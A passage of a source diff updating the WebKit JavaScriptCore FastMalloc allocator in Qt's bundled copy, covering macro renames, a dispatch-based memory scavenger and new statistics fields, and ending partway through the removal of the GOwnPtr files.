 TryMallocReturnValue tryFastZeroedMalloc(size_t n) 
 {
@@ -191,11 +204,14 @@ TryMallocReturnValue tryFastZeroedMalloc(size_t n)
 
 #if FORCE_SYSTEM_MALLOC
 
-#include <stdlib.h>
-#if !PLATFORM(WIN_OS)
-    #include <pthread.h>
-#else
-    #include "windows.h"
+#if PLATFORM(BREWMP)
+#include "brew/SystemMallocBrew.h"
+#endif
+
+#if OS(DARWIN)
+#include <malloc/malloc.h>
+#elif COMPILER(MSVC)
+#include <malloc.h>
 #endif
 
 namespace WTF {
@@ -233,8 +249,16 @@ void* fastMalloc(size_t n)
     void* result = malloc(n);
 #endif
 
-    if (!result)
+    if (!result) {
+#if PLATFORM(BREWMP)
+        // The behavior of malloc(0) is implementation defined.
+        // To make sure that fastMalloc never returns 0, retry with fastMalloc(1).
+        if (!n)
+            return fastMalloc(1);
+#endif
         CRASH();
+    }
+
     return result;
 }
 
@@ -273,8 +297,16 @@ void* fastCalloc(size_t n_elements, size_t element_size)
     void* result = calloc(n_elements, element_size);
 #endif
 
-    if (!result)
+    if (!result) {
+#if PLATFORM(BREWMP)
+        // If either n_elements or element_size is 0, the behavior of calloc is implementation defined.
+        // To make sure that fastCalloc never returns 0, retry with fastCalloc(1, 1).
+        if (!n_elements || !element_size)
+            return fastCalloc(1, 1);
+#endif
         CRASH();
+    }
+
     return result;
 }
 
@@ -343,13 +375,24 @@ void releaseFastMallocFreeMemory() { }
     
 FastMallocStatistics fastMallocStatistics()
 {
-    FastMallocStatistics statistics = { 0, 0, 0, 0 };
+    FastMallocStatistics statistics = { 0, 0, 0 };
     return statistics;
 }
 
+size_t fastMallocSize(const void* p)
+{
+#if OS(DARWIN)
+    return malloc_size(p);
+#elif COMPILER(MSVC)
+    return _msize(const_cast<void*>(p));
+#else
+    return 1;
+#endif
+}
+
 } // namespace WTF
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 // This symbol is present in the JavaScriptCore exports file even when FastMalloc is disabled.
 // It will never be used in this case, so it's type and value are less interesting than its presence.
 extern "C" const int jscore_fastmalloc_introspection = 0;
@@ -374,12 +417,11 @@ extern "C" const int jscore_fastmalloc_introspection = 0;
 #include <algorithm>
 #include <errno.h>
 #include <limits>
-#include <new>
 #include <pthread.h>
 #include <stdarg.h>
 #include <stddef.h>
 #include <stdio.h>
-#if PLATFORM(UNIX)
+#if OS(UNIX)
 #include <unistd.h>
 #endif
 #if COMPILER(MSVC)
@@ -389,13 +431,17 @@ extern "C" const int jscore_fastmalloc_introspection = 0;
 #include <windows.h>
 #endif
 
-#if WTF_CHANGES
+#ifdef WTF_CHANGES
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 #include "MallocZoneSupport.h"
 #include <wtf/HashSet.h>
 #include <wtf/Vector.h>
 #endif
+#if HAVE(DISPATCH_H)
+#include <dispatch/dispatch.h>
+#endif
+
 
 #ifndef PRIuS
 #define PRIuS "zu"
@@ -405,7 +451,7 @@ extern "C" const int jscore_fastmalloc_introspection = 0;
 // call to the function on Mac OS X, and it's used in performance-critical code. So we
 // use a function pointer. But that's not necessarily faster on other platforms, and we had
 // problems with this technique on Windows, so we'll do this only on Mac OS X.
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
 static void* (*pthread_getspecific_function_pointer)(pthread_key_t) = pthread_getspecific;
 #define pthread_getspecific(key) pthread_getspecific_function_pointer(key)
 #endif
@@ -433,8 +479,8 @@ namespace WTF {
 #define MESSAGE LOG_ERROR
 #define CHECK_CONDITION ASSERT
 
-#if PLATFORM(DARWIN)
-class Span;
+#if OS(DARWIN)
+struct Span;
 class TCMalloc_Central_FreeListPadded;
 class TCMalloc_PageHeap;
 class TCMalloc_ThreadCache;
@@ -990,7 +1036,7 @@ class PageHeapAllocator {
 
   int inuse() const { return inuse_; }
 
-#if defined(WTF_CHANGES) && PLATFORM(DARWIN)
+#if defined(WTF_CHANGES) && OS(DARWIN)
   template <class Recorder>
   void recordAdministrativeRegions(Recorder& recorder, const RemoteMemoryReader& reader)
   {
@@ -1172,7 +1218,7 @@ template <int BITS> class MapSelector {
 };
 
 #if defined(WTF_CHANGES)
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
 // On all known X86-64 platforms, the upper 16 bits are always unused and therefore 
 // can be excluded from the PageMap key.
 // See http://en.wikipedia.org/wiki/X86-64#Virtual_address_space_details
@@ -1206,29 +1252,30 @@ template <> class MapSelector<32> {
 // -------------------------------------------------------------------------
 
 #if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
-// The central page heap collects spans of memory that have been deleted but are still committed until they are released
-// back to the system.  We use a background thread to periodically scan the list of free spans and release some back to the
-// system.  Every 5 seconds, the background thread wakes up and does the following:
-// - Check if we needed to commit memory in the last 5 seconds.  If so, skip this scavenge because it's a sign that we are short
-// of free committed pages and so we should not release them back to the system yet.
-// - Otherwise, go through the list of free spans (from largest to smallest) and release up to a fraction of the free committed pages
-// back to the system.
-// - If the number of free committed pages reaches kMinimumFreeCommittedPageCount, we can stop the scavenging and block the
-// scavenging thread until the number of free committed pages goes above kMinimumFreeCommittedPageCount.
-
-// Background thread wakes up every 5 seconds to scavenge as long as there is memory available to return to the system.
-static const int kScavengeTimerDelayInSeconds = 5;
+// The page heap maintains a free list for spans that are no longer in use by
+// the central cache or any thread caches. We use a background thread to
+// periodically scan the free list and release a percentage of it back to the OS.
+
+// If free_committed_pages_ exceeds kMinimumFreeCommittedPageCount, the
+// background thread:
+//     - wakes up
+//     - pauses for kScavengeDelayInSeconds
+//     - returns to the OS a percentage of the memory that remained unused during
+//       that pause (kScavengePercentage * min_free_committed_pages_since_last_scavenge_)
+// The goal of this strategy is to reduce memory pressure in a timely fashion
+// while avoiding thrashing the OS allocator.
+
+// Time delay before the page heap scavenger will consider returning pages to
+// the OS.
+static const int kScavengeDelayInSeconds = 2;
+
+// Approximate percentage of free committed pages to return to the OS in one
+// scavenge.
+static const float kScavengePercentage = .5f;
 
 // Number of free committed pages that we want to keep around.
 static const size_t kMinimumFreeCommittedPageCount = 512;
 
-// During a scavenge, we'll release up to a fraction of the free committed pages.
-#if PLATFORM(WIN)
-// We are slightly less aggressive in releasing memory on Windows due to performance reasons.
-static const int kMaxScavengeAmountFactor = 3;
-#else
-static const int kMaxScavengeAmountFactor = 2;
-#endif
 #endif
 
 class TCMalloc_PageHeap {
@@ -1334,8 +1381,9 @@ class TCMalloc_PageHeap {
   // Number of pages kept in free lists that are still committed.
   Length free_committed_pages_;
 
-  // Number of pages that we committed in the last scavenge wait interval.
-  Length pages_committed_since_last_scavenge_;
+  // Minimum number of free committed pages since last scavenge. (Can be 0 if
+  // we've committed new pages since the last scavenge.)
+  Length min_free_committed_pages_since_last_scavenge_;
 #endif
 
   bool GrowHeap(Length n);
@@ -1372,26 +1420,34 @@ class TCMalloc_PageHeap {
   // Index of last free list we scavenged
   size_t scavenge_index_;
   
-#if defined(WTF_CHANGES) && PLATFORM(DARWIN)
+#if defined(WTF_CHANGES) && OS(DARWIN)
   friend class FastMallocZone;
 #endif
 
 #if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
-  static NO_RETURN void* runScavengerThread(void*);
+  void initializeScavenger();
+  ALWAYS_INLINE void signalScavenger();
+  void scavenge();
+  ALWAYS_INLINE bool shouldScavenge() const;
 
+#if !HAVE(DISPATCH_H)
+  static NO_RETURN void* runScavengerThread(void*);
   NO_RETURN void scavengerThread();
 
-  void scavenge();
-
-  inline bool shouldContinueScavenging() const;
+  // Keeps track of whether the background thread is actively scavenging memory every kScavengeDelayInSeconds, or
+  // it's blocked waiting for more pages to be deleted.
+  bool m_scavengeThreadActive;
 
   pthread_mutex_t m_scavengeMutex;
-
   pthread_cond_t m_scavengeCondition;
+#else // !HAVE(DISPATCH_H)
+  void periodicScavenge();
+
+  dispatch_queue_t m_scavengeQueue;
+  dispatch_source_t m_scavengeTimer;
+  bool m_scavengingScheduled;
+#endif
 
-  // Keeps track of whether the background thread is actively scavenging memory every kScavengeTimerDelayInSeconds, or
-  // it's blocked waiting for more pages to be deleted.
-  bool m_scavengeThreadActive;
 #endif  // USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
 };
 
@@ -1404,7 +1460,7 @@ void TCMalloc_PageHeap::init()
 
 #if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
   free_committed_pages_ = 0;
-  pages_committed_since_last_scavenge_ = 0;
+  min_free_committed_pages_since_last_scavenge_ = 0;
 #endif  // USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
 
   scavenge_counter_ = 0;
@@ -1419,15 +1475,23 @@ void TCMalloc_PageHeap::init()
   }
 
 #if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
+  initializeScavenger();
+#endif  // USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
+}
+
+#if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
+
+#if !HAVE(DISPATCH_H)
+
+void TCMalloc_PageHeap::initializeScavenger()
+{
   pthread_mutex_init(&m_scavengeMutex, 0);
   pthread_cond_init(&m_scavengeCondition, 0);
   m_scavengeThreadActive = true;
   pthread_t thread;
   pthread_create(&thread, 0, runScavengerThread, this);
-#endif  // USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
 }
 
-#if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
 void* TCMalloc_PageHeap::runScavengerThread(void* context)
 {
   static_cast<TCMalloc_PageHeap*>(context)->scavengerThread();
@@ -1437,42 +1501,60 @@ void* TCMalloc_PageHeap::runScavengerThread(void* context)
 #endif
 }
 
-void TCMalloc_PageHeap::scavenge() 
+ALWAYS_INLINE void TCMalloc_PageHeap::signalScavenger()
 {
-    // If we have to commit memory in the last 5 seconds, it means we don't have enough free committed pages
-    // for the amount of allocations that we do.  So hold off on releasing memory back to the system.
-    if (pages_committed_since_last_scavenge_ > 0) {
-        pages_committed_since_last_scavenge_ = 0;
-        return;
-    }
-    Length pagesDecommitted = 0;
-    for (int i = kMaxPages; i >= 0; i--) {
+  if (!m_scavengeThreadActive && shouldScavenge())
+    pthread_cond_signal(&m_scavengeCondition);
+}
+
+#else // !HAVE(DISPATCH_H)
+
+void TCMalloc_PageHeap::initializeScavenger()
+{
+  m_scavengeQueue = dispatch_queue_create("com.apple.JavaScriptCore.FastMallocSavenger", NULL);
+  m_scavengeTimer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, m_scavengeQueue);
+  dispatch_time_t startTime = dispatch_time(DISPATCH_TIME_NOW, kScavengeDelayInSeconds * NSEC_PER_SEC);
+  dispatch_source_set_timer(m_scavengeTimer, startTime, kScavengeDelayInSeconds * NSEC_PER_SEC, 1000 * NSEC_PER_USEC);
+  dispatch_source_set_event_handler(m_scavengeTimer, ^{ periodicScavenge(); });
+  m_scavengingScheduled = false;
+}
+
+ALWAYS_INLINE void TCMalloc_PageHeap::signalScavenger()
+{
+  if (!m_scavengingScheduled && shouldScavenge()) {
+    m_scavengingScheduled = true;
+    dispatch_resume(m_scavengeTimer);
+  }
+}
+
+#endif
+
+void TCMalloc_PageHeap::scavenge()
+{
+    size_t pagesToRelease = min_free_committed_pages_since_last_scavenge_ * kScavengePercentage;
+    size_t targetPageCount = std::max<size_t>(kMinimumFreeCommittedPageCount, free_committed_pages_ - pagesToRelease);
+
+    for (int i = kMaxPages; i >= 0 && free_committed_pages_ > targetPageCount; i--) {
         SpanList* slist = (static_cast<size_t>(i) == kMaxPages) ? &large_ : &free_[i];
-        if (!DLL_IsEmpty(&slist->normal)) {
-            // Release the last span on the normal portion of this list
+        while (!DLL_IsEmpty(&slist->normal) && free_committed_pages_ > targetPageCount) {
             Span* s = slist->normal.prev; 
-            // Only decommit up to a fraction of the free committed pages if pages_allocated_since_last_scavenge_ > 0.
-            if ((pagesDecommitted + s->length) * kMaxScavengeAmountFactor > free_committed_pages_)
-                continue;
             DLL_Remove(s);
-            TCMalloc_SystemRelease(reinterpret_cast<void*>(s->start << kPageShift),
-                                   static_cast<size_t>(s->length << kPageShift));
+            ASSERT(!s->decommitted);
             if (!s->decommitted) {
-                pagesDecommitted += s->length;
+                TCMalloc_SystemRelease(reinterpret_cast<void*>(s->start << kPageShift),
+                                       static_cast<size_t>(s->length << kPageShift));
+                ASSERT(free_committed_pages_ >= s->length);
+                free_committed_pages_ -= s->length;
                 s->decommitted = true;
             }
             DLL_Prepend(&slist->returned, s);
-            // We can stop scavenging if the number of free committed pages left is less than or equal to the minimum number we want to keep around.
-            if (free_committed_pages_ <= kMinimumFreeCommittedPageCount + pagesDecommitted)
-                break;
         }
     }
-    pages_committed_since_last_scavenge_ = 0;
-    ASSERT(free_committed_pages_ >= pagesDecommitted);
-    free_committed_pages_ -= pagesDecommitted;
+
+    min_free_committed_pages_since_last_scavenge_ = free_committed_pages_;
 }
 
-inline bool TCMalloc_PageHeap::shouldContinueScavenging() const 
+ALWAYS_INLINE bool TCMalloc_PageHeap::shouldScavenge() const 
 {
     return free_committed_pages_ > kMinimumFreeCommittedPageCount; 
 }
@@ -1504,9 +1586,6 @@ inline Span* TCMalloc_PageHeap::New(Length n) {
     if (result->decommitted) {
         TCMalloc_SystemCommit(reinterpret_cast<void*>(result->start << kPageShift), static_cast<size_t>(n << kPageShift));
         result->decommitted = false;
-#if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
-        pages_committed_since_last_scavenge_ += n;
-#endif
     }
 #if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
     else {
@@ -1514,6 +1593,8 @@ inline Span* TCMalloc_PageHeap::New(Length n) {
         // free committed pages count.
         ASSERT(free_committed_pages_ >= n);
         free_committed_pages_ -= n;
+        if (free_committed_pages_ < min_free_committed_pages_since_last_scavenge_)
+            min_free_committed_pages_since_last_scavenge_ = free_committed_pages_;
     }
 #endif  // USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
     ASSERT(Check());
@@ -1575,9 +1656,6 @@ Span* TCMalloc_PageHeap::AllocLarge(Length n) {
     if (best->decommitted) {
         TCMalloc_SystemCommit(reinterpret_cast<void*>(best->start << kPageShift), static_cast<size_t>(n << kPageShift));
         best->decommitted = false;
-#if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
-        pages_committed_since_last_scavenge_ += n;
-#endif
     }
 #if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
     else {
@@ -1585,6 +1663,8 @@ Span* TCMalloc_PageHeap::AllocLarge(Length n) {
         // free committed pages count.
         ASSERT(free_committed_pages_ >= n);
         free_committed_pages_ -= n;
+        if (free_committed_pages_ < min_free_committed_pages_since_last_scavenge_)
+            min_free_committed_pages_since_last_scavenge_ = free_committed_pages_;
     }
 #endif  // USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
     ASSERT(Check());
@@ -1728,14 +1808,15 @@ inline void TCMalloc_PageHeap::Delete(Span* span) {
       // If the merged span is decommitted, that means we decommitted any neighboring spans that were
       // committed.  Update the free committed pages count.
       free_committed_pages_ -= neighboringCommittedSpansLength;
+      if (free_committed_pages_ < min_free_committed_pages_since_last_scavenge_)
+            min_free_committed_pages_since_last_scavenge_ = free_committed_pages_;
   } else {
       // If the merged span remains committed, add the deleted span's size to the free committed pages count.
       free_committed_pages_ += n;
   }
 
   // Make sure the scavenge thread becomes active if we have enough freed pages to release some back to the system.
-  if (!m_scavengeThreadActive && shouldContinueScavenging())
-      pthread_cond_signal(&m_scavengeCondition);
+  signalScavenger();
 #else
   IncrementalScavenge(n);
 #endif
@@ -1893,10 +1974,6 @@ bool TCMalloc_PageHeap::GrowHeap(Length n) {
   }
   ask = actual_size >> kPageShift;
 
-#if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
-  pages_committed_since_last_scavenge_ += ask;
-#endif
-
   uint64_t old_system_bytes = system_bytes_;
   system_bytes_ += (ask << kPageShift);
   const PageID p = reinterpret_cast<uintptr_t>(ptr) >> kPageShift;
@@ -2278,7 +2355,9 @@ static inline TCMalloc_PageHeap* getPageHeap()
 #define pageheap getPageHeap()
 
 #if USE_BACKGROUND_THREAD_TO_SCAVENGE_MEMORY
-#if PLATFORM(WIN_OS)
+
+#if !HAVE(DISPATCH_H)
+#if OS(WINDOWS)
 static void sleep(unsigned seconds)
 {
     ::Sleep(seconds * 1000);
@@ -2292,21 +2371,38 @@ void TCMalloc_PageHeap::scavengerThread()
 #endif
 
   while (1) {
-      if (!shouldContinueScavenging()) {
+      if (!shouldScavenge()) {
           pthread_mutex_lock(&m_scavengeMutex);
           m_scavengeThreadActive = false;
-          // Block until there are enough freed pages to release back to the system.
+          // Block until there are enough free committed pages to release back to the system.
           pthread_cond_wait(&m_scavengeCondition, &m_scavengeMutex);
           m_scavengeThreadActive = true;
           pthread_mutex_unlock(&m_scavengeMutex);
       }
-      sleep(kScavengeTimerDelayInSeconds);
+      sleep(kScavengeDelayInSeconds);
       {
           SpinLockHolder h(&pageheap_lock);
           pageheap->scavenge();
       }
   }
 }
+
+#else
+
+void TCMalloc_PageHeap::periodicScavenge()
+{
+  {
+    SpinLockHolder h(&pageheap_lock);
+    pageheap->scavenge();
+  }
+
+  if (!shouldScavenge()) {
+    m_scavengingScheduled = false;
+    dispatch_suspend(m_scavengeTimer);
+  }
+}
+#endif // HAVE(DISPATCH_H)
+
 #endif
 
 // If TLS is available, we also store a copy
@@ -2816,7 +2912,7 @@ void TCMalloc_ThreadCache::InitModule() {
     }
     pageheap->init();
     phinited = 1;
-#if defined(WTF_CHANGES) && PLATFORM(DARWIN)
+#if defined(WTF_CHANGES) && OS(DARWIN)
     FastMallocZone::init();
 #endif
   }
@@ -3795,7 +3891,7 @@ void* realloc(void* old_ptr, size_t new_size) {
     return new_ptr;
   } else {
 #if ENABLE(FAST_MALLOC_MATCH_VALIDATION)
-    old_ptr = pByte + sizeof(AllocAlignmentInteger);  // Set old_ptr back to the user pointer.
+    old_ptr = static_cast<AllocAlignmentInteger*>(old_ptr) + 1; // Set old_ptr back to the user pointer.
 #endif
     return old_ptr;
   }
@@ -3845,6 +3941,8 @@ static inline void* cpp_alloc(size_t size, bool nothrow) {
   }
 }
 
+#if ENABLE(GLOBAL_FASTMALLOC_NEW)
+
 void* operator new(size_t size) {
   void* p = cpp_alloc(size, false);
   // We keep this next instruction out of cpp_alloc for a reason: when
@@ -3899,6 +3997,8 @@ void operator delete[](void* p, const std::nothrow_t&) __THROW {
   do_free(p);
 }
 
+#endif
+
 extern "C" void* memalign(size_t align, size_t size) __THROW {
   void* result = do_memalign(align, size);
   MallocHook::InvokeNewHook(result, size);
@@ -4014,7 +4114,62 @@ void *(*__memalign_hook)(size_t, size_t, const void *) = MemalignOverride;
 
 #endif
 
-#if defined(WTF_CHANGES) && PLATFORM(DARWIN)
+#ifdef WTF_CHANGES
+void releaseFastMallocFreeMemory()
+{
+    // Flush free pages in the current thread cache back to the page heap.
+    // Low watermark mechanism in Scavenge() prevents full return on the first pass.
+    // The second pass flushes everything.
+    if (TCMalloc_ThreadCache* threadCache = TCMalloc_ThreadCache::GetCacheIfPresent()) {
+        threadCache->Scavenge();
+        threadCache->Scavenge();
+    }
+
+    SpinLockHolder h(&pageheap_lock);
+    pageheap->ReleaseFreePages();
+}
+    
+FastMallocStatistics fastMallocStatistics()
+{
+    FastMallocStatistics statistics;
+
+    SpinLockHolder lockHolder(&pageheap_lock);
+    statistics.reservedVMBytes = static_cast<size_t>(pageheap->SystemBytes());
+    statistics.committedVMBytes = statistics.reservedVMBytes - pageheap->ReturnedBytes();
+
+    statistics.freeListBytes = 0;
+    for (unsigned cl = 0; cl < kNumClasses; ++cl) {
+        const int length = central_cache[cl].length();
+        const int tc_length = central_cache[cl].tc_length();
+
+        statistics.freeListBytes += ByteSizeForClass(cl) * (length + tc_length);
+    }
+    for (TCMalloc_ThreadCache* threadCache = thread_heaps; threadCache ; threadCache = threadCache->next_)
+        statistics.freeListBytes += threadCache->Size();
+
+    return statistics;
+}
+
+size_t fastMallocSize(const void* ptr)
+{
+    const PageID p = reinterpret_cast<uintptr_t>(ptr) >> kPageShift;
+    Span* span = pageheap->GetDescriptorEnsureSafe(p);
+
+    if (!span || span->free)
+        return 0;
+
+    for (void* free = span->objects; free != NULL; free = *((void**) free)) {
+        if (ptr == free)
+            return 0;
+    }
+
+    if (size_t cl = span->sizeclass)
+        return ByteSizeForClass(cl);
+
+    return span->length << kPageShift;
+}
+
+#if OS(DARWIN)
 
 class FreeObjectFinder {
     const RemoteMemoryReader& m_reader;
@@ -4297,7 +4452,7 @@ extern "C" {
 malloc_introspection_t jscore_fastmalloc_introspection = { &FastMallocZone::enumerate, &FastMallocZone::goodSize, &FastMallocZone::check, &FastMallocZone::print,
     &FastMallocZone::log, &FastMallocZone::forceLock, &FastMallocZone::forceUnlock, &FastMallocZone::statistics
 
-#if !defined(BUILDING_ON_TIGER) && !defined(BUILDING_ON_LEOPARD) && !PLATFORM(IPHONE)
+#if !defined(BUILDING_ON_TIGER) && !defined(BUILDING_ON_LEOPARD) && !OS(IPHONE_OS)
     , 0 // zone_locked will not be called on the zone unless it advertises itself as version five or higher.
 #endif
 
@@ -4331,44 +4486,9 @@ void FastMallocZone::init()
     static FastMallocZone zone(pageheap, &thread_heaps, static_cast<TCMalloc_Central_FreeListPadded*>(central_cache), &span_allocator, &threadheap_allocator);
 }
 
-#endif
-
-#if WTF_CHANGES
-void releaseFastMallocFreeMemory()
-{
-    // Flush free pages in the current thread cache back to the page heap.
-    // Low watermark mechanism in Scavenge() prevents full return on the first pass.
-    // The second pass flushes everything.
-    if (TCMalloc_ThreadCache* threadCache = TCMalloc_ThreadCache::GetCacheIfPresent()) {
-        threadCache->Scavenge();
-        threadCache->Scavenge();
-    }
-
-    SpinLockHolder h(&pageheap_lock);
-    pageheap->ReleaseFreePages();
-}
-    
-FastMallocStatistics fastMallocStatistics()
-{
-    FastMallocStatistics statistics;
-    {
-        SpinLockHolder lockHolder(&pageheap_lock);
-        statistics.heapSize = static_cast<size_t>(pageheap->SystemBytes());
-        statistics.freeSizeInHeap = static_cast<size_t>(pageheap->FreeBytes());
-        statistics.returnedSize = pageheap->ReturnedBytes();
-        statistics.freeSizeInCaches = 0;
-        for (TCMalloc_ThreadCache* threadCache = thread_heaps; threadCache ; threadCache = threadCache->next_)
-            statistics.freeSizeInCaches += threadCache->Size();
-    }
-    for (unsigned cl = 0; cl < kNumClasses; ++cl) {
-        const int length = central_cache[cl].length();
-        const int tc_length = central_cache[cl].tc_length();
-        statistics.freeSizeInCaches += ByteSizeForClass(cl) * (length + tc_length);
-    }
-    return statistics;
-}
+#endif // OS(DARWIN)
 
 } // namespace WTF
-#endif
+#endif // WTF_CHANGES
 
 #endif // FORCE_SYSTEM_MALLOC
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/FastMalloc.h b/src/3rdparty/webkit/JavaScriptCore/wtf/FastMalloc.h
index 541b05d..9f82275 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/FastMalloc.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/FastMalloc.h
@@ -26,19 +26,15 @@
 #include <stdlib.h>
 #include <new>
 
-#if COMPILER(GCC)
-#define WTF_FAST_MALLOC_EXPORT __attribute__((visibility("default")))
-#else
-#define WTF_FAST_MALLOC_EXPORT
-#endif
-
 namespace WTF {
 
     // These functions call CRASH() if an allocation fails.
-    void* fastMalloc(size_t) WTF_FAST_MALLOC_EXPORT;
+    void* fastMalloc(size_t);
     void* fastZeroedMalloc(size_t);
-    void* fastCalloc(size_t numElements, size_t elementSize) WTF_FAST_MALLOC_EXPORT;
-    void* fastRealloc(void*, size_t) WTF_FAST_MALLOC_EXPORT;
+    void* fastCalloc(size_t numElements, size_t elementSize);
+    void* fastRealloc(void*, size_t);
+    char* fastStrDup(const char*);
+    size_t fastMallocSize(const void*);
 
     struct TryMallocReturnValue {
         TryMallocReturnValue(void* data)
@@ -77,7 +73,7 @@ namespace WTF {
     TryMallocReturnValue tryFastCalloc(size_t n_elements, size_t element_size);
     TryMallocReturnValue tryFastRealloc(void* p, size_t n);
 
-    void fastFree(void*) WTF_FAST_MALLOC_EXPORT;
+    void fastFree(void*);
 
 #ifndef NDEBUG    
     void fastMallocForbid();
@@ -87,10 +83,9 @@ namespace WTF {
     void releaseFastMallocFreeMemory();
     
     struct FastMallocStatistics {
-        size_t heapSize;
-        size_t freeSizeInHeap;
-        size_t freeSizeInCaches;
-        size_t returnedSize;
+        size_t reservedVMBytes;
+        size_t committedVMBytes;
+        size_t freeListBytes;
     };
     FastMallocStatistics fastMallocStatistics();
 
@@ -194,17 +189,18 @@ using WTF::tryFastZeroedMalloc;
 using WTF::tryFastCalloc;
 using WTF::tryFastRealloc;
 using WTF::fastFree;
+using WTF::fastStrDup;
 
 #ifndef NDEBUG    
 using WTF::fastMallocForbid;
 using WTF::fastMallocAllow;
 #endif
 
-#if COMPILER(GCC) && PLATFORM(DARWIN)
+#if COMPILER(GCC) && OS(DARWIN)
 #define WTF_PRIVATE_INLINE __private_extern__ inline __attribute__((always_inline))
 #elif COMPILER(GCC)
 #define WTF_PRIVATE_INLINE inline __attribute__((always_inline))
-#elif COMPILER(MSVC)
+#elif COMPILER(MSVC) || COMPILER(RVCT)
 #define WTF_PRIVATE_INLINE __forceinline
 #else
 #define WTF_PRIVATE_INLINE inline
@@ -219,17 +215,23 @@ using WTF::fastMallocAllow;
 // debug-only code to make sure we don't use the system malloc via the default operator
 // new by accident.
 
-// We musn't customize the global operator new and delete for the Qt port.
-#if !PLATFORM(QT)
+#if ENABLE(GLOBAL_FASTMALLOC_NEW)
 
-WTF_PRIVATE_INLINE void* operator new(size_t size) { return fastMalloc(size); }
+#if COMPILER(MSVC)
+#pragma warning(push)
+#pragma warning(disable: 4290) // Disable the C++ exception specification ignored warning.
+#endif
+WTF_PRIVATE_INLINE void* operator new(size_t size) throw (std::bad_alloc) { return fastMalloc(size); }
 WTF_PRIVATE_INLINE void* operator new(size_t size, const std::nothrow_t&) throw() { return fastMalloc(size); }
-WTF_PRIVATE_INLINE void operator delete(void* p) { fastFree(p); }
+WTF_PRIVATE_INLINE void operator delete(void* p) throw() { fastFree(p); }
 WTF_PRIVATE_INLINE void operator delete(void* p, const std::nothrow_t&) throw() { fastFree(p); }
-WTF_PRIVATE_INLINE void* operator new[](size_t size) { return fastMalloc(size); }
+WTF_PRIVATE_INLINE void* operator new[](size_t size) throw (std::bad_alloc) { return fastMalloc(size); }
 WTF_PRIVATE_INLINE void* operator new[](size_t size, const std::nothrow_t&) throw() { return fastMalloc(size); }
-WTF_PRIVATE_INLINE void operator delete[](void* p) { fastFree(p); }
+WTF_PRIVATE_INLINE void operator delete[](void* p) throw() { fastFree(p); }
 WTF_PRIVATE_INLINE void operator delete[](void* p, const std::nothrow_t&) throw() { fastFree(p); }
+#if COMPILER(MSVC)
+#pragma warning(pop)
+#endif
 
 #endif
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/GOwnPtr.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/GOwnPtr.cpp
deleted file mode 100644
index 432885f..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/GOwnPtr.cpp
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) 2008 Collabora Ltd.
- *
- *  This library is free software; you can redistribute it and/or
- *  modify it under the terms of the GNU Lesser General Public
- *  License as published by the Free Software Foundation; either
- *  version 2 of the License, or (at your option) any later version.
- *
- *  This library is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- *  Lesser General Public License for more details.
- *
- *  You should have received a copy of the GNU Lesser General Public
- *  License along with this library; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
- */
-
-#include "config.h"
-#include "GOwnPtr.h"
-
-namespace WTF {
-
-template <> void freeOwnedGPtr<GError>(GError* ptr)
-{
-    if (ptr)
-        g_error_free(ptr);
-}
-
-template <> void freeOwnedGPtr<GList>(GList* ptr)
-{
-    g_list_free(ptr);
-}
-
-template <> void freeOwnedGPtr<GCond>(GCond* ptr)
-{
-    if (ptr)
-        g_cond_free(ptr);
-}
-
-template <> void freeOwnedGPtr<GMutex>(GMutex* ptr)
-{
-    if (ptr)
-        g_mutex_free(ptr);
-}
-
-template <> void freeOwnedGPtr<GPatternSpec>(GPatternSpec* ptr)
-{
-    if (ptr)
-        g_pattern_spec_free(ptr);
-}
-
-template <> void freeOwnedGPtr<GDir>(GDir* ptr)
-{
-    if (ptr)
-        g_dir_close(ptr);
-}
-
-template <> void freeOwnedGPtr<GHashTable>(GHashTable* ptr)
-{
-    if (ptr)
-        g_hash_table_unref(ptr);
-}
-
-} // namespace WTF
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/GOwnPtr.h b/src/3rdparty/webkit/JavaScriptCore/wtf/GOwnPtr.h
deleted file mode 100644
index 4993348..0000000
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/GOwnPtr.h
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- *  Copyright (C) 2006, 2007 Apple Inc. All rights reserved.
- *  Copyright (C) 2008 Collabora Ltd.
- *
- *  This library is free software; you can redistribute it and/or
- *  modify it under the terms of the GNU Library General Public
- *  License as published by the Free Software Foundation; either
- *  version 2 of the License, or (at your option) any later version.
- *
- *  This library is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- *  Library General Public License for more details.
- *
